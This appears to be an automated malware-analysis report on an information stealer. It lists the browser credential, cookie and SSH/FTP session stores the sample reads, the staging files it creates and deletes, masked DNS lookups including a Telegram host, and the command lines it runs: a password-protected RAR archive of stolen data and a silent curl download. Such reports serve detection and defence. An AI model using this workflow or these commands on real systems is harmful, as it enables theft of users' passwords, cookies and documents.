Technical Information
Malicious functions
Searches for registry branches where third party applications store passwords
- [HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions]
- [HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions]
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
- %HOMEPATH%\desktop\weeklysheet1215.doc
Modifies file system
Creates the following files
- %TEMP%\vg__huql\display 1.bmp
- %TEMP%\vg_ffcookies_7598448940219196357.db
- %TEMP%\vg_ffcookies_7598448940219196357.db-shm
- %TEMP%\void_login_374692234.db
- %TEMP%\void_cookies_1373642060.db
- %TEMP%\void_hist_3104445560.db
- %TEMP%\void_af_1155018819.db
- %LOCALAPPDATA%\google\chrome\user data\default\web data_cc_tmp
- %TEMP%\void_dl_1332759810.db
- %TEMP%\void_login_2721587766.db
- %TEMP%\void_hist_3898747797.db
- %TEMP%\void_af_3850351659.db
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data_cc_tmp
- %TEMP%\void_dl_1481843062.db
- %TEMP%\void_ff_key4_150008278.db
- %TEMP%\void_ff_cookies_1704838920.db
- %TEMP%\void_ff_cookies_1704838920.db-shm
- %TEMP%\void_ff_places_2838502278.db
- %TEMP%\void_ff_places_2838502278.db-shm
- %TEMP%\void_ff_formhist_1596226655.db
- %TEMP%\vg__huql\results.json
- %TEMP%\vg__huql\organized\common files\documents\aoc_saq_d_v3_merchant.docx
- %TEMP%\vg__huql\organized\common files\documents\weeklysheet1215.doc
- %TEMP%\vg__huql\organized\credentials\chrome\history.txt
- %TEMP%\vg__huql\organized\credentials\email_clients.txt
- %TEMP%\vg__huql\organized\directories\desktop.txt
- %TEMP%\vg__huql\organized\directories\documents.txt
- %TEMP%\vg__huql\organized\directories\downloads.txt
- %TEMP%\vg__huql\organized\directories\music.txt
- %TEMP%\vg__huql\organized\directories\pictures.txt
- %TEMP%\vg__huql\organized\directories\videos.txt
- %TEMP%\vg__huql\organized\system\antivirus.txt
- %TEMP%\vg__huql\organized\system\mac addresses.txt
- %TEMP%\vg__huql\organized\system\system info.txt
- %TEMP%\vg__huql\organized\system\task list.txt
- %TEMP%\vg__huql\organized\other\bookmarks\items.txt
- %TEMP%\vg__huql\organized\other\email\items.txt
- %TEMP%\vg__huql\organized\other\environment\items.txt
- %TEMP%\vg__huql\organized\other\fingerprint\items.txt
- %TEMP%\vg__huql\organized\other\processes\items.txt
- %TEMP%\vg__huql\organized\other\productkey\items.txt
- %TEMP%\vg__huql\organized\other\software\items.txt
- %TEMP%\vg__huql\organized\browser\chrome\history.txt
- %TEMP%\vg__huql\organized\browser\firefox\bookmarks.txt
- %TEMP%\vg__huql\organized\results.json
- %TEMP%\vg__huql\5d8a2d-user.7z
- %TEMP%\runtime__6d66.exe
Deletes following files that it created itself
- %TEMP%\vg_ffcookies_7598448940219196357.db
- %TEMP%\void_login_374692234.db
- %TEMP%\void_cookies_1373642060.db
- %TEMP%\void_hist_3104445560.db
- %TEMP%\void_af_1155018819.db
- %LOCALAPPDATA%\google\chrome\user data\default\web data_cc_tmp
- %TEMP%\void_dl_1332759810.db
- %TEMP%\void_login_2721587766.db
- %TEMP%\void_hist_3898747797.db
- %TEMP%\void_af_3850351659.db
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data_cc_tmp
- %TEMP%\void_dl_1481843062.db
- %TEMP%\void_ff_key4_150008278.db
- %TEMP%\void_ff_cookies_1704838920.db-shm
- %TEMP%\void_ff_cookies_1704838920.db
- %TEMP%\void_ff_places_2838502278.db-shm
- %TEMP%\void_ff_places_2838502278.db
- %TEMP%\void_ff_formhist_1596226655.db
- %TEMP%\vg__huql\5d8a2d-user.7z
- %TEMP%\vg__huql\display 1.bmp
- %TEMP%\vg__huql\organized\browser\chrome\history.txt
- %TEMP%\vg__huql\organized\browser\firefox\bookmarks.txt
- %TEMP%\vg__huql\organized\common files\documents\aoc_saq_d_v3_merchant.docx
- %TEMP%\vg__huql\organized\common files\documents\weeklysheet1215.doc
- %TEMP%\vg__huql\organized\credentials\chrome\history.txt
- %TEMP%\vg__huql\organized\credentials\email_clients.txt
- %TEMP%\vg__huql\organized\directories\desktop.txt
- %TEMP%\vg__huql\organized\directories\documents.txt
- %TEMP%\vg__huql\organized\directories\downloads.txt
- %TEMP%\vg__huql\organized\directories\music.txt
- %TEMP%\vg__huql\organized\directories\pictures.txt
- %TEMP%\vg__huql\organized\directories\videos.txt
- %TEMP%\vg__huql\organized\other\bookmarks\items.txt
- %TEMP%\vg__huql\organized\other\email\items.txt
- %TEMP%\vg__huql\organized\other\environment\items.txt
- %TEMP%\vg__huql\organized\other\fingerprint\items.txt
- %TEMP%\vg__huql\organized\other\processes\items.txt
- %TEMP%\vg__huql\organized\other\productkey\items.txt
- %TEMP%\vg__huql\organized\other\software\items.txt
- %TEMP%\vg__huql\organized\results.json
- %TEMP%\vg__huql\organized\system\antivirus.txt
- %TEMP%\vg__huql\organized\system\mac addresses.txt
- %TEMP%\vg__huql\organized\system\system info.txt
- %TEMP%\vg__huql\organized\system\task list.txt
- %TEMP%\vg__huql\results.json
Network activity
Connects to
- 'localhost':49691
- 'localhost':49694
- 'localhost':49696
- 'localhost':49698
- 'localhost':49700
TCP
Other
- 'localhost':49691
- 'localhost':49694
- 'localhost':49696
- 'localhost':49697
- 'localhost':49698
- 'localhost':49699
- 'localhost':49700
- 'localhost':49701
UDP
- DNS ASK ap#.#pify.org
- DNS ASK ip##pi.com
- DNS ASK ap#.##legram.org
- DNS ASK po###on-rpc.com
Miscellaneous
Creates and executes the following
- '%TEMP%\runtime__6d66.exe'
Executes the following
- '%ProgramFiles%\winrar\rar.exe' a "-hp5ea965253e0e9d29" -m5 -ep1 -r "%TEMP%\vg__huql\5d8a2d-user.7z" "%TEMP%\vg__huql\organized\*"
- '<SYSTEM32>\curl.exe' "-k" "-L" "-s" "-o" "%LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex\python.zip.downloading" "https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"
- '%ProgramFiles%\winrar\rar.exe' a "-hp5ea965253e0e9d29" -m5 -ep1 -r "%TEMP%\vg__huql\5d8a2d-user.7z" "%TEMP%\vg__huql\organized\*"' (with hidden window)
